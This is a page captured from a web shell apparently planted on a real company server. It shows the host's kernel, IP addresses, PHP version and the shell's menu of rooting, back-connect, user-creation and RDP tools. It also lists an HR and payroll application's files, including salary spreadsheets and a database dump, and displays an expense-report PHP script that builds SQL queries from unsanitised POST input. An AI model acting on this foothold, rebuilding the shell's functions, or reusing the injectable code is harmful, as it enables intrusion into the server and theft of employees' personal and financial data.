Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.118.252.41
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
oums /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
fpdf
[ DIR ]
drwxrwxrwx
phpexcel
[ DIR ]
drwxrwxrwx
phpmailer
[ DIR ]
drwxrwxrwx
reports
[ DIR ]
drwxrwxrwx
.src.php
3.61
KB
-rw-r--r--
api_sendmail.php
2.22
KB
-rwxrwxrwx
api_sendmail1.php
2.03
KB
-rwxrwxrwx
api_sendsms.php
1.08
KB
-rwxrwxrwx
attendance.php
13.66
KB
-rwxrwxrwx
attendance_report.php
40.23
KB
-rwxrwxrwx
attendance_report_attn_stat_mn...
16.79
KB
-rw-rw-r--
attendance_report_attn_stat_sa...
18.77
KB
-rw-rw-r--
attendance_report_datewise.php
5.59
KB
-rwxrwxrwx
attendance_report_excel.php
14.66
KB
-rwxrwxrwx
attendance_report_month_detail...
2.76
KB
-rwxrwxrwx
attendance_report_month_summar...
4.01
KB
-rwxrwxrwx
attendance_report_monthwise_in...
6.85
KB
-rwxrwxrwx
attendance_report_monthwise_su...
5.09
KB
-rwxrwxrwx
attendance_report_monthwise_su...
4.13
KB
-rwxrwxrwx
attendance_report_yearwise_sum...
4.56
KB
-rwxrwxrwx
attendance_statement_2023-03.x...
11.39
KB
-rw-r--r--
attendance_statement_2024-01.x...
60.03
KB
-rw-r--r--
attendance_statement_2024-02.x...
48.48
KB
-rw-r--r--
attendance_statement_2024-03.x...
10.73
KB
-rw-r--r--
attendance_statement_2024-04.x...
10.56
KB
-rw-r--r--
attendance_statement_2024-05.x...
10.63
KB
-rw-r--r--
attendance_statement_2024-06.x...
10.63
KB
-rw-r--r--
attendance_statement_2024-07.x...
47.43
KB
-rw-r--r--
attendance_statement_2024-08.x...
11.54
KB
-rw-r--r--
attendance_statement_2024-09.x...
43.78
KB
-rw-r--r--
attendance_statement_2024-10.x...
11.15
KB
-rw-r--r--
attendance_statement_2024-11.x...
43.35
KB
-rw-r--r--
attendance_statement_2024-12.x...
9.32
KB
-rw-r--r--
attendance_statement_2025-01.x...
10.83
KB
-rw-r--r--
attendance_statement_2025-02.x...
42.25
KB
-rw-r--r--
attendance_statement_2025-03.x...
32.4
KB
-rw-r--r--
attendance_statement_salary_.x...
7.04
KB
-rw-r--r--
attendance_statement_salary_20...
7.06
KB
-rw-r--r--
attendance_statement_salary_20...
7.36
KB
-rw-r--r--
attendance_statement_salary_20...
19.89
KB
-rw-r--r--
attendance_statement_salary_20...
18.32
KB
-rw-r--r--
attendance_statement_salary_20...
18.06
KB
-rw-r--r--
attendance_statement_salary_20...
17.78
KB
-rw-r--r--
attendance_statement_salary_20...
17.63
KB
-rw-r--r--
attendance_statement_salary_20...
7.72
KB
-rw-r--r--
attendance_statement_salary_20...
7.67
KB
-rw-r--r--
attendance_statement_salary_20...
7.72
KB
-rw-r--r--
attendance_statement_salary_20...
7.52
KB
-rw-r--r--
attendance_statement_salary_20...
7.06
KB
-rw-r--r--
attendance_statement_salary_20...
16.64
KB
-rw-r--r--
attendance_statement_salary_20...
7.33
KB
-rw-r--r--
attendance_statement_salary_20...
7.33
KB
-rw-r--r--
attendance_statement_salary_20...
7.5
KB
-rw-r--r--
attendance_status.php
20.13
KB
-rwxrwxrwx
attendance_status_deepak.php
9.38
KB
-rw-rw-r--
attendance_status_ihf.php
9.38
KB
-rwxrwxrwx
backup_data.php
903
B
-rwxrwxrwx
control.php
5.78
KB
-rwxrwxrwx
departments.php
8.79
KB
-rwxrwxrwx
departments_logo_upload.php
679
B
-rwxrwxrwx
documents.php
4.16
KB
-rwxrwxrwx
employees.php
17.28
KB
-rwxrwxrwx
employees2.php
14.04
KB
-rw-rw-r--
employees_form.php
20.19
KB
-rw-rw-r--
employees_photo_upload.php
647
B
-rwxrwxrwx
employees_print_id_card.php
2.76
KB
-rw-rw-r--
employees_print_nda_form.php
12.86
KB
-rw-rw-r--
employees_report_excel.php
5.07
KB
-rw-rw-r--
expense.php
10.79
KB
-rwxrwxrwx
expense_advance.php
4.69
KB
-rwxrwxrwx
expense_advance2.php
4.55
KB
-rw-rw-r--
expense_report.php
3.26
KB
-rwxrwxrwx
expense_report_daywise_details...
4.46
KB
-rwxrwxrwx
expense_report_daywise_summary...
5.27
KB
-rwxrwxrwx
expense_report_details_date.ph...
5.32
KB
-rwxrwxrwx
expense_report_details_date_su...
5.43
KB
-rwxrwxrwx
expense_report_details_head.ph...
22.11
KB
-rwxrwxrwx
expense_report_details_head_su...
22.13
KB
-rwxrwxrwx
expense_report_headwise_detail...
18.32
KB
-rwxrwxrwx
expense_report_headwise_summar...
18.32
KB
-rwxrwxrwx
expense_report_monthwise_detai...
3.3
KB
-rwxrwxrwx
expense_report_monthwise_summa...
3.3
KB
-rwxrwxrwx
expense_report_statement.php
5.69
KB
-rwxrwxrwx
expense_report_statement_date....
6.15
KB
-rwxrwxrwx
expense_report_statement_excel...
19.74
KB
-rw-rw-r--
expense_report_statement_excel...
32.6
KB
-rwxrwxrwx
expense_report_statement_excel...
32.79
KB
-rw-rw-r--
expense_report_statement_mnth....
4.88
KB
-rwxrwxrwx
expense_report_statement_year....
4.86
KB
-rwxrwxrwx
expense_report_summary.php
18.43
KB
-rwxrwxrwx
expense_statement_monthly_.xls...
6.04
KB
-rw-r--r--
expense_statement_monthly_2023...
10.08
KB
-rw-r--r--
expense_statement_monthly_2024...
10
KB
-rw-r--r--
expense_statement_monthly_2024...
8.99
KB
-rw-r--r--
expense_statement_monthly_2024...
9.16
KB
-rw-r--r--
expense_statement_monthly_2024...
8.87
KB
-rw-r--r--
expense_statement_monthly_2024...
30.05
KB
-rw-r--r--
expense_statement_monthly_2024...
9
KB
-rw-r--r--
expense_statement_monthly_2024...
9.61
KB
-rw-r--r--
expense_statement_monthly_2024...
11.03
KB
-rw-r--r--
expense_statement_monthly_2024...
10.92
KB
-rw-r--r--
expense_statement_monthly_2024...
9.79
KB
-rw-r--r--
expense_statement_monthly_2024...
9.33
KB
-rw-r--r--
expense_statement_monthly_2024...
9.98
KB
-rw-r--r--
expense_statement_monthly_2025...
11.06
KB
-rw-r--r--
expense_statement_monthly_2025...
12.75
KB
-rw-r--r--
grievance_status.php
5.44
KB
-rw-rw-r--
header_menu.php
3.46
KB
-rwxrwxrwx
header_note.php
5.06
KB
-rwxrwxrwx
holidays.php
6.19
KB
-rwxrwxrwx
home_appraisals.php
185
B
-rwxrwxrwx
home_attendance.php
26.81
KB
-rwxrwxrwx
home_clients.php
10.62
KB
-rwxrwxrwx
home_dashboard.php
236
B
-rwxrwxrwx
home_employees.php
9.47
KB
-rwxrwxrwx
home_events.php
9.71
KB
-rwxrwxrwx
home_expenses.php
27.27
KB
-rwxrwxrwx
home_flash.php
2.38
KB
-rwxrwxrwx
home_inventory.php
3.14
KB
-rwxrwxrwx
home_movements.php
9.03
KB
-rwxrwxrwx
home_note_count.php
6.75
KB
-rw-rw-r--
home_salary.php
12.81
KB
-rwxrwxrwx
home_task.php
6.15
KB
-rwxrwxrwx
home_userlogs.php
2.02
KB
-rw-rw-r--
home_work_entry.php
15.08
KB
-rwxrwxrwx
home_work_flash.php
2.36
KB
-rwxrwxrwx
home_work_view.php
11.96
KB
-rwxrwxrwx
login.php
3.3
KB
-rwxrwxrwx
logout.php
261
B
-rwxrwxrwx
mc_print.php
9.54
KB
-rwxrwxrwx
mcf_status.php
2.87
KB
-rw-rw-r--
office_logisys3_oums_2024-09-2...
20.57
MB
-rw-r--r--
office_logisys3_oums_2025-01-2...
233
B
-rw-r--r--
oums_sms_push.php
18.18
KB
-rwxrwxrwx
oums_sms_send.php
5.39
KB
-rwxrwxrwx
pg_app_edit.php
5.17
KB
-rwxrwxrwx
popup_empl_events.php
3.53
KB
-rw-rw-r--
popup_empl_salary.php
2.67
KB
-rw-rw-r--
popup_work_entry.php
3.14
KB
-rw-rw-r--
popup_work_review.php
1.55
KB
-rw-rw-r--
salary.php
24.44
KB
-rwxrwxrwx
salary_statement.php
40.09
KB
-rw-rw-r--
salary_statement_2024-05.xlsx
18.57
KB
-rw-r--r--
salary_statement_2024-06.xlsx
18.43
KB
-rw-r--r--
salary_statement_2024-07.xlsx
17.89
KB
-rw-r--r--
salary_statement_2024-08.xlsx
17.46
KB
-rw-r--r--
salary_statement_2024-09.xlsx
16.97
KB
-rw-r--r--
salary_statement_2024-10.xlsx
16.94
KB
-rw-r--r--
salary_statement_2024-11.xlsx
17.36
KB
-rw-r--r--
salary_statement_2024-12.xlsx
17.58
KB
-rw-r--r--
salary_statement_2025-01.xlsx
17.89
KB
-rw-r--r--
salary_statement_2025-02.xlsx
19.75
KB
-rw-r--r--
salary_statement_2025-03.xlsx
20.19
KB
-rw-r--r--
salary_statement_month_excel.p...
21.39
KB
-rw-rw-r--
send_mail.php
383
B
-rwxrwxrwx
send_sms.php
203
B
-rwxrwxrwx
sendsmsapi.php
759
B
-rwxrwxrwx
staff_move.php
8.55
KB
-rwxrwxrwx
status_report.php
23.7
KB
-rwxrwxrwx
status_report_03022018.php
14.76
KB
-rwxrwxrwx
status_report_import_attendanc...
3.27
KB
-rwxrwxrwx
sys_connect.php
492
B
-rwxrwxrwx
sys_connect_old.php
123
B
-rwxrwxrwx
sys_connect_pget.php
311
B
-rwxrwxrwx
sys_employees.php
2.55
KB
-rwxrwxrwx
sys_grid_data.php
805
B
-rwxrwxrwx
sys_grid_navbar.php
1.72
KB
-rwxrwxrwx
sys_mainphp.php
6.92
KB
-rwxrwxrwx
sys_mode.php
780
B
-rwxrwxrwx
sys_module.php
580
B
-rwxrwxrwx
sys_modules.php
2.47
KB
-rwxrwxrwx
sys_session.php
1.04
KB
-rwxrwxrwx
task_reminder.php
16.44
KB
-rwxrwxrwx
task_review.php
11.37
KB
-rwxrwxrwx
upcoming_events.php
8.79
KB
-rw-rw-r--
user_departments.php
4.09
KB
-rwxrwxrwx
user_logs.php
5.8
KB
-rwxrwxrwx
user_password.php
3.67
KB
-rwxrwxrwx
user_password_request.php
2.09
KB
-rwxrwxrwx
user_rights.php
7.34
KB
-rwxrwxrwx
user_setup.php
10.79
KB
-rwxrwxrwx
user_validate.php
3.07
KB
-rwxrwxrwx
work_assign.php
5.86
KB
-rw-rw-r--
work_done_report.xlsx
8.69
KB
-rw-r--r--
work_done_report_empl.xlsx
6.57
KB
-rw-r--r--
work_entry.php
9.04
KB
-rwxrwxrwx
work_entry_org.php
3.48
KB
-rwxrwxrwx
work_entry_report.php
2.71
KB
-rwxrwxrwx
work_entry_report_appraisal.ph...
8.79
KB
-rw-rw-r--
work_entry_report_assn_work_ex...
8.79
KB
-rw-rw-r--
work_entry_report_assn_work_vi...
9.03
KB
-rw-rw-r--
work_entry_report_statement.ph...
4.63
KB
-rwxrwxrwx
work_entry_report_work_done_as...
9.34
KB
-rw-rw-r--
work_entry_report_work_done_as...
9.46
KB
-rw-rw-r--
work_entry_report_work_done_em...
8.91
KB
-rw-rw-r--
work_entry_report_work_done_em...
8.91
KB
-rw-rw-r--
work_entry_report_work_done_ex...
8.79
KB
-rw-rw-r--
work_entry_report_work_done_li...
9.43
KB
-rw-rw-r--
work_entry_report_work_done_li...
8.91
KB
-rw-rw-r--
work_entry_report_work_done_st...
4.65
KB
-rw-rw-r--
work_review.php
6.08
KB
-rwxrwxrwx
workentry_report.php
9.43
KB
-rw-rw-r--
xattendance_report_01.php
7.77
KB
-rwxrwxrwx
xattendance_report_02.php
4.49
KB
-rwxrwxrwx
xattendance_report_03.php
6
KB
-rwxrwxrwx
xattendance_report_04.php
5.18
KB
-rwxrwxrwx
xattendance_report_05.php
4.84
KB
-rwxrwxrwx
xget_master_info.php
801
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : expense_report_summary.php
<?php include("sys_session.php"); require("sys_mainphp.php"); $load_data=$_POST["load_data"]; $resp_mesg=""; $resp_stat=""; $resp_file=""; if($load_data=='dept_data') { include("sys_connect.php"); if($type_id=='ADMIN') { $mysql="select * from masdept order by fdeptname"; } elseif($type_id=='CHIEF') { $mysql="select * from masdept where fdeptstat='T' and fdepthead='$empl_id' order by fdeptname"; } else { $mysql="select * from masdept where fdeptcode='$dept_id' order by fdeptname"; } $myres=mysqli_query($mycon,$mysql); if(mysqli_num_rows($myres)>1) { echo "<option value=0>--Select--</option>"; } while($row = mysqli_fetch_assoc($myres)) { echo "<option value='$row[fdeptcode]'>$row[fdeptname]</option>"; } } if($load_data=='empl_data') { $dept_code=$_POST["dept_code"]; include("sys_connect.php"); if($type_id=='ADMIN') { $mysql="select * from masempl where fexpnentr='T' order by femplname"; echo "<option value=%>ALL</option>"; } elseif($type_id=='CHIEF') { $mysql="select * from masempl where fdeptcode='$dept_code' and fexpnentr='T' order by femplname"; echo "<option value=%>ALL</option>"; } else { $mysql="select * from masempl where fdeptcode='$dept_code' and fexpnentr='T' order by femplname"; } $myres=mysqli_query($mycon,$mysql); if(mysqli_num_rows($myres)!=0) { while($row = mysqli_fetch_assoc($myres)) { echo "<option value='$row[femplcode]'>$row[femplname]</option>"; } } } if($load_data=='head_desc') { $acnt_type=$_POST["acnt_type"]; if($acnt_type!="") { include("sys_connect.php"); $mysql="select * from mashead where facnttype like '$acnt_type' order by facnttype,fheaddesc"; $myres=mysqli_query($mycon,$mysql); if(mysqli_num_rows($myres)!=0) { echo "<option value=%>ALL</option>"; while($row = mysqli_fetch_assoc($myres)) { echo "<option value='$row[fheaddesc]'>$row[fheaddesc] [$row[facnttype]]</option>"; } } } } if($load_data=='view_rept') { $dept_code=$_POST['dept_code']; $empl_code=$_POST['empl_code']; $acnt_type=$_POST['acnt_type']; $head_desc=$_POST['head_desc']; $expn_dat1=$_POST['expn_dat1']; $expn_dat2=$_POST['expn_dat2']; $rept_type=$_POST['rept_type']; $header_dept_name=get_dept_name($dept_code); $header_empl_name=get_empl_name($empl_code); include("sys_connect.php"); //EXPENSE LIST if($rept_type==0) { require("fpdf/fpdf.php"); $line_no=0; $pdf = new FPDF('L','mm','A4'); $pdf->AddPage(); $pdf->SetMargins(10,10); $pdf->SetFont('Arial','B',10); $pdf->Cell(0,7,"EXPENSE STATEMENT (DAYWISE)",0,1,"C");$line_no++; $pdf->Cell(0,7,"{$header_dept_name}",0,1,"C"); $line_no++; $pdf->Cell(0,7,"Employee: {$header_empl_name}, Expense Date: {$expn_dat1} to {$expn_dat2}",0,1,"C");$line_no++; $pdf->SetFont('Arial','B',9); $pdf->Cell(10,7,"Sl No",1,0,"C"); $pdf->Cell(25,7,"Date",1,0,"C"); $pdf->Cell(70,7,"Description",1,0,"C"); $pdf->Cell(25,7,"Receipt",1,0,"C"); $pdf->Cell(25,7,"Payment",1,0,"C"); $pdf->Cell(25,7,"Balance",1,0,"C"); $pdf->Cell(100,7,"Remarks",1,0,"C"); $pdf->ln();$line_no++; $pdf->SetFont('Arial','',9); $totl_recp=0; $totl_payt=0; $totl_baln=0; $rang_recp=0; $rang_payt=0; $i=1; //Prev. receipt and payments-------------- $mysqlx="select sum(case when facnttype='receipt' then fexpnamnt end) as fexpnrecp,sum(case when facnttype='payment' then fexpnamnt end) as fexpnpayt from expenses where fdeptcode='$dept_code' and femplcode like '$empl_code' and fexpndate < str_to_date('$expn_dat1','%d-%m-%Y') and facnttype like '$acnt_type' and fheaddesc like '$head_desc'"; $myresx=mysqli_query($mycon,$mysqlx); while($rowx = mysqli_fetch_assoc($myresx)) { $totl_recp=$rowx['fexpnrecp']; $totl_payt=$rowx['fexpnpayt']; } $totl_baln=$totl_recp-$totl_payt; $totl_recp=number_format((float)$totl_recp,2,'.',''); $totl_payt=number_format((float)$totl_payt,2,'.',''); $totl_baln=number_format((float)$totl_baln,2,'.',''); $pdf->Cell(10,7,"{$i}",1,0,"C"); $pdf->Cell(25,7,"-",1,0,"C"); $pdf->Cell(70,7,"BALANCE BEFORE {$expn_dat1}",1,0,"L"); $pdf->Cell(25,7,"{$totl_recp}",1,0,"R"); $pdf->Cell(25,7,"{$totl_payt}",1,0,"R"); $pdf->Cell(25,7,"{$totl_baln}",1,0,"R"); $pdf->Cell(100,7,"",1,0,"L"); $pdf->ln();$line_no++; $i++; //Amount for the range given $mysql1="select fexpndate, facnttype, fheaddesc, sum(fexpnamnt) as famntexpn, fexpnremk from expenses where fdeptcode='$dept_code' and femplcode like '$empl_code' and fexpndate between str_to_date('$expn_dat1','%d-%m-%Y') and str_to_date('$expn_dat2','%d-%m-%Y') and facnttype like '$acnt_type' and fheaddesc like '$head_desc' group by fexpndate,facnttype,fheaddesc,fexpnremk order by fexpndate,facnttype desc,fheaddesc,fexpnremk"; $myres1=mysqli_query($mycon,$mysql1); while($row1 = mysqli_fetch_assoc($myres1)) { if($line_no==0||$line_no%25==0) { $pdf->SetFont('Arial','B',10); $pdf->Cell(0,7,"EXPENSE STATEMENT (DAYWISE)",0,1,"C");$line_no++; $pdf->Cell(0,7,"{$header_dept_name}",0,1,"C"); $line_no++; $pdf->Cell(0,7,"Employee: {$header_empl_name}, Expense Date: {$expn_dat1} to {$expn_dat2}",0,1,"C");$line_no++; $pdf->SetFont('Arial','B',9); $pdf->Cell(10,7,"Sl No",1,0,"C"); $pdf->Cell(25,7,"Date",1,0,"C"); $pdf->Cell(70,7,"Description",1,0,"C"); $pdf->Cell(25,7,"Receipt",1,0,"C"); $pdf->Cell(25,7,"Payment",1,0,"C"); $pdf->Cell(25,7,"Balance",1,0,"C"); $pdf->Cell(100,7,"Remarks",1,0,"C"); $pdf->ln();$line_no++; } $pdf->SetFont('Arial','',9); $expn_date=date("d-m-Y",strtotime($row1['fexpndate'])); $acnt_type=$row1['facnttype']; $head_desc=$row1['fheaddesc']; $expn_amnt=$row1['famntexpn']; $expn_remk=$row1['fexpnremk']; if(strtolower($acnt_type)=='receipt') { $totl_recp=$totl_recp+$expn_amnt; $rang_recp=$rang_recp+$expn_amnt; $totl_baln=$totl_baln+$expn_amnt; } if(strtolower($acnt_type)=='payment') { $totl_payt=$totl_payt+$expn_amnt; $rang_payt=$rang_payt+$expn_amnt; $totl_baln=$totl_baln-$expn_amnt; } $totl_recp=number_format((float)$totl_recp,2,'.',''); $totl_payt=number_format((float)$totl_payt,2,'.',''); $totl_baln=number_format((float)$totl_baln,2,'.',''); $pdf->Cell(10,7,"{$i}",1,0,"C"); $pdf->Cell(25,7,"{$expn_date}",1,0,"C"); $pdf->Cell(70,7,"{$head_desc}",1,0,"L"); if(strtolower($acnt_type)=="receipt") { $pdf->Cell(25,7,"{$expn_amnt}",1,0,"R"); $pdf->Cell(25,7,"0.00",1,0,"R"); } elseif(strtolower($acnt_type)=="payment") { $pdf->Cell(25,7,"0.00",1,0,"R"); $pdf->Cell(25,7,"{$expn_amnt}",1,0,"R"); } $pdf->Cell(25,7,"{$totl_baln}",1,0,"R"); $pdf->Cell(100,7,"{$expn_remk}",1,0,"L"); $pdf->ln();$line_no++; $i++; } $rang_recp=number_format((float)$rang_recp,2,'.',''); $rang_payt=number_format((float)$rang_payt,2,'.',''); $rang_baln=$rang_recp-$rang_payt; $rang_baln=number_format((float)$rang_baln,2,'.',''); $pdf->Cell(105,7,"Total from {$expn_dat1} to {$expn_dat2}",1,0,"C"); $pdf->Cell(25,7,"{$rang_recp}",1,0,"R"); $pdf->Cell(25,7,"{$rang_payt}",1,0,"R"); $pdf->Cell(25,7,"{$rang_baln}",1,0,"R"); $pdf->Cell(100,7,"",1,0,"C"); $pdf->ln();$line_no++; $pdf->Cell(105,7,"Grand Total",1,0,"C"); $pdf->Cell(25,7,"{$totl_recp}",1,0,"R"); $pdf->Cell(25,7,"{$totl_payt}",1,0,"R"); $pdf->Cell(25,7,"{$totl_baln}",1,0,"R"); $pdf->Cell(100,7,"",1,0,"C"); $pdf->ln();$line_no++; $resp_file='reports/expense_list.pdf'; $pdf->output($resp_file,'F'); } //EXPENSE DETAILS if($rept_type==1) { require("fpdf/fpdf.php"); $line_no=1; $pdf = new FPDF('L','mm','A4'); $pdf->AliasNbPages(); $pdf->AddPage(); $pdf->SetMargins(10,10); $mysql1="select fexpndate, femplcode, facnttype, fheaddesc, fexpnamnt, fexpnremk, fexpnstat from expenses where fdeptcode='$dept_code' and femplcode like '$empl_code' and fexpndate between str_to_date('$expn_dat1','%d-%m-%Y') and str_to_date('$expn_dat2','%d-%m-%Y') and facnttype like '$acnt_type' and fheaddesc like '$head_desc' group by fexpndate, fdeptcode, femplcode, facnttype,fheaddesc,fexpnremk"; $myres1=mysqli_query($mycon,$mysql1); $mycnt=mysqli_num_rows($myres1); if($mycnt==0) { $resp_mesg="No records found!"; } $i=1; $expn_date=""; $totl_recp=0; $totl_payt=0; $recp_amnt=0; $days_recp=0; $payt_amnt=0; $days_payt=0; while($row1 = mysqli_fetch_assoc($myres1)) { if($line_no==1||$line_no%26==0) { $line_no=1; $pdf->SetFont('Arial','B',10); $pdf->Cell(0,7,"EXPENSE DETAILS (DAYWISE)",0,1,"C");$line_no++; $pdf->Cell(0,7,"{$header_dept_name}",0,1,"C"); $line_no++; $pdf->Cell(0,7,"Employee: {$header_empl_name}, Expense Date: {$expn_dat1} to {$expn_dat2}",0,1,"C");$line_no++; $pdf->SetFont('Arial','B',9); $pdf->Cell(10,7,"Sl No",1,0,"C"); $pdf->Cell(25,7,"Date",1,0,"C"); $pdf->Cell(50,7,"Empl Name",1,0,"C"); $pdf->Cell(60,7,"Description",1,0,"C"); $pdf->Cell(25,7,"Receipt",1,0,"C"); $pdf->Cell(25,7,"Payment",1,0,"C"); $pdf->Cell(80,7,"Remarks",1,0,"C"); $pdf->ln();$line_no++; } if($expn_date!=date('d-m-Y',strtotime($row1['fexpndate'])) && $expn_date!='') { $pdf->SetFont('Arial','B',9); $pdf->Cell(145,7,"{$expn_date} Total",1,0,"R"); $pdf->Cell(25,7,"{$days_recp}",1,0,"R"); $pdf->Cell(25,7,"{$days_payt}",1,0,"R"); $pdf->Cell(80,7,"",1,0,"C"); $pdf->ln();$line_no++; $pdf->ln();$line_no++; $days_recp=0; $days_payt=0; $i=1; } if($line_no==1||$line_no%26==0) { $line_no=1; $pdf->SetFont('Arial','B',10); $pdf->Cell(0,7,"EXPENSE DETAILS (DAYWISE)",0,1,"C");$line_no++; $pdf->Cell(0,7,"{$header_dept_name}",0,1,"C"); $line_no++; $pdf->Cell(0,7,"Employee: {$header_empl_name}, Expense Date: {$expn_dat1} to {$expn_dat2}",0,1,"C");$line_no++; $pdf->SetFont('Arial','B',9); $pdf->Cell(10,7,"Sl No",1,0,"C"); $pdf->Cell(25,7,"Date",1,0,"C"); $pdf->Cell(50,7,"Empl Name",1,0,"C"); $pdf->Cell(60,7,"Description",1,0,"C"); $pdf->Cell(25,7,"Receipt",1,0,"C"); $pdf->Cell(25,7,"Payment",1,0,"C"); $pdf->Cell(80,7,"Remarks",1,0,"C"); $pdf->ln();$line_no++; } $recp_amnt=0; $payt_amnt=0; $expn_date=date('d-m-Y',strtotime($row1['fexpndate'])); $empl_code=$row1['femplcode']; $gempl_name=""; $acnt_type=$row1['facnttype']; $head_desc=$row1['fheaddesc']; $expn_remk=$row1['fexpnremk']; if($acnt_type=='RECEIPT') { $recp_amnt=$row1['fexpnamnt']; $days_recp=$days_recp+$recp_amnt; $totl_recp=$totl_recp+$recp_amnt; } if($acnt_type=='PAYMENT') { $payt_amnt=$row1['fexpnamnt']; $days_payt=$days_payt+$payt_amnt; $totl_payt=$totl_payt+$payt_amnt; } $recp_amnt=number_format((float)$recp_amnt,2,'.',''); $payt_amnt=number_format((float)$payt_amnt,2,'.',''); $totl_recp=number_format((float)$totl_recp,2,'.',''); $totl_payt=number_format((float)$totl_payt,2,'.',''); $days_recp=number_format((float)$days_recp,2,'.',''); $days_payt=number_format((float)$days_payt,2,'.',''); $empl_name=get_empl_name($empl_code); $pdf->SetFont('Arial','',9); $pdf->Cell(10,7,"{$i}",1,0,"C"); $pdf->Cell(25,7,"{$expn_date}",1,0,"C"); $pdf->Cell(50,7,"{$empl_name}",1,0,"L"); $pdf->Cell(60,7,"{$head_desc}",1,0,"L"); $pdf->Cell(25,7,"{$recp_amnt}",1,0,"R"); $pdf->Cell(25,7,"{$payt_amnt}",1,0,"R"); $pdf->Cell(80,7,"{$expn_remk}",1,0,"L"); $pdf->ln();$line_no++; $i++; } $totl_amnt=$totl_payt+$totl_recp; $totl_amnt=number_format((float)$totl_amnt,2,'.',''); $pdf->SetFont('Arial','B',9); $pdf->Cell(145,7,"{$expn_date} Total",1,0,"R"); $pdf->Cell(25,7,"{$days_recp}",1,0,"R"); $pdf->Cell(25,7,"{$days_payt}",1,0,"R"); $pdf->Cell(80,7,"",1,0,"C"); $pdf->ln();$line_no++; $pdf->ln();$line_no++; $pdf->Cell(145,7,"Grand Total",1,0,"R"); $pdf->Cell(25,7,"{$totl_recp}",1,0,"R"); $pdf->Cell(25,7,"{$totl_payt}",1,0,"R"); $pdf->Cell(80,7,"",1,0,"C"); $pdf->ln();$line_no++; $resp_file='reports/expense_details.pdf'; $pdf->output($resp_file,'F'); } //Monthwise report ----------------------------------------- if($rept_type==2) { require("fpdf/fpdf.php"); $line_no=0; $pdf = new FPDF('P','mm','A4'); $pdf->AddPage(); $pdf->SetMargins(10,10); $pdf->SetFont('Arial','B',10); $pdf->Cell(0,7,"EXPENSE SUMMARY (MONTHWISE)",0,1,"C");$line_no++; $pdf->Cell(0,7,"{$header_dept_name}",0,1,"C"); $line_no++; $pdf->Cell(0,7,"Employee: {$header_empl_name}, Expense Date: {$expn_dat1} to {$expn_dat2}",0,1,"C");$line_no++; $pdf->SetFont('Arial','B',9); $pdf->Cell(10,7,"Sl No",1,0,"C"); $pdf->Cell(30,7,"Month",1,0,"C"); $pdf->Cell(30,7,"Receipt",1,0,"C"); $pdf->Cell(30,7,"Payment",1,0,"C"); $pdf->Cell(30,7,"Balance",1,0,"C"); $pdf->Cell(50,7,"Remarks",1,0,"C"); $pdf->ln();$line_no++; $pdf->SetFont('Arial','',9); $mysql1="select fexpndate,facnttype, sum(case when facnttype='receipt' then fexpnamnt end) as fexpnrecp,sum(case when facnttype='payment' then fexpnamnt end) as fexpnpayt from expenses where fdeptcode='$dept_code' and femplcode like '$empl_code' and fexpndate <= str_to_date('$expn_dat2','%d-%m-%Y') and facnttype like '$acnt_type' group by left(fexpndate,7)"; $myres1=mysqli_query($mycon,$mysql1); $i=1; $expn_mnth=""; $curr_baln=0; $expn_recp=0; $expn_payt=0; $totl_recp=0; $totl_payt=0; while($row1 = mysqli_fetch_assoc($myres1)) { $expn_mnth=date('F Y',strtotime(substr($row1['fexpndate'],0,7))); $acnt_type=$row1['facnttype']; $expn_recp=$row1['fexpnrecp']; $expn_payt=$row1['fexpnpayt']; $expn_recp=number_format((float)$expn_recp,2,'.',''); $expn_payt=number_format((float)$expn_payt,2,'.',''); $totl_recp=$totl_recp+$expn_recp; $totl_payt=$totl_payt+$expn_payt; $curr_baln=$curr_baln+($expn_recp-$expn_payt); $totl_recp=number_format((float)$totl_recp,2,'.',''); $totl_payt=number_format((float)$totl_payt,2,'.',''); $curr_baln=number_format((float)$curr_baln,2,'.',''); $pdf->Cell(10,7,"{$i}",1,0,"C"); $pdf->Cell(30,7,"{$expn_mnth}",1,0,"L"); $pdf->Cell(30,7,"{$expn_recp}",1,0,"R"); $pdf->Cell(30,7,"{$expn_payt}",1,0,"R"); $pdf->Cell(30,7,"{$curr_baln}",1,0,"R"); $pdf->Cell(50,7,"",1,0,"C"); $pdf->ln();$line_no++; $i++; } $totl_amnt=$totl_payt+$totl_recp; $totl_amnt=number_format((float)$totl_amnt,2,'.',''); $curr_baln=number_format((float)$curr_baln,2,'.',''); $pdf->Cell(40,7,"Grand Total",1,0,"C"); $pdf->Cell(30,7,"{$totl_recp}",1,0,"R"); $pdf->Cell(30,7,"{$totl_payt}",1,0,"R"); $pdf->Cell(30,7,"{$curr_baln}",1,0,"R"); $pdf->Cell(50,7,"",1,0,"C"); $pdf->ln();$line_no++; $resp_file='reports/expense_summary_month.pdf'; $pdf->output($resp_file,'F'); } if($rept_type==3) { require("fpdf/fpdf.php"); $line_no=0; $pdf = new FPDF('P','mm','A4'); $pdf->AddPage(); $pdf->SetMargins(10,10); $pdf->SetFont('Arial','B',10); $pdf->Cell(0,7,"EXPENSE STATEMENT SUMMARY",0,1,"C");$line_no++; $pdf->SetFont('Arial','B',9); $pdf->Cell(10,7,"Sl No",1,0,"C"); $pdf->Cell(80,7,"Department",1,0,"C"); $pdf->Cell(25,7,"Receipt",1,0,"C"); $pdf->Cell(25,7,"Payment",1,0,"C"); $pdf->Cell(25,7,"Balance",1,0,"C"); $pdf->Cell(25,7,"Remarks",1,0,"C"); $pdf->ln();$line_no++; $pdf->SetFont('Arial','',9); $mysql1="select fdeptcode, fexpndate, sum(case when facnttype='receipt' then fexpnamnt end) as fexpnrecp,sum(case when facnttype='payment' then fexpnamnt end) as fexpnpayt from expenses where fdeptcode like '$dept_code' and facnttype like '$acnt_type' and fheaddesc like '$head_desc' and fdeptcode<>'ADMN' group by fdeptcode"; $myres1=mysqli_query($mycon,$mysql1); $i=1; $dept_code=""; $expn_recp=0; $expn_payt=0; $dept_baln=0; $curr_baln=0; $totl_recp=0; $totl_payt=0; while($row1 = mysqli_fetch_assoc($myres1)) { $dept_code=$row1['fdeptcode']; 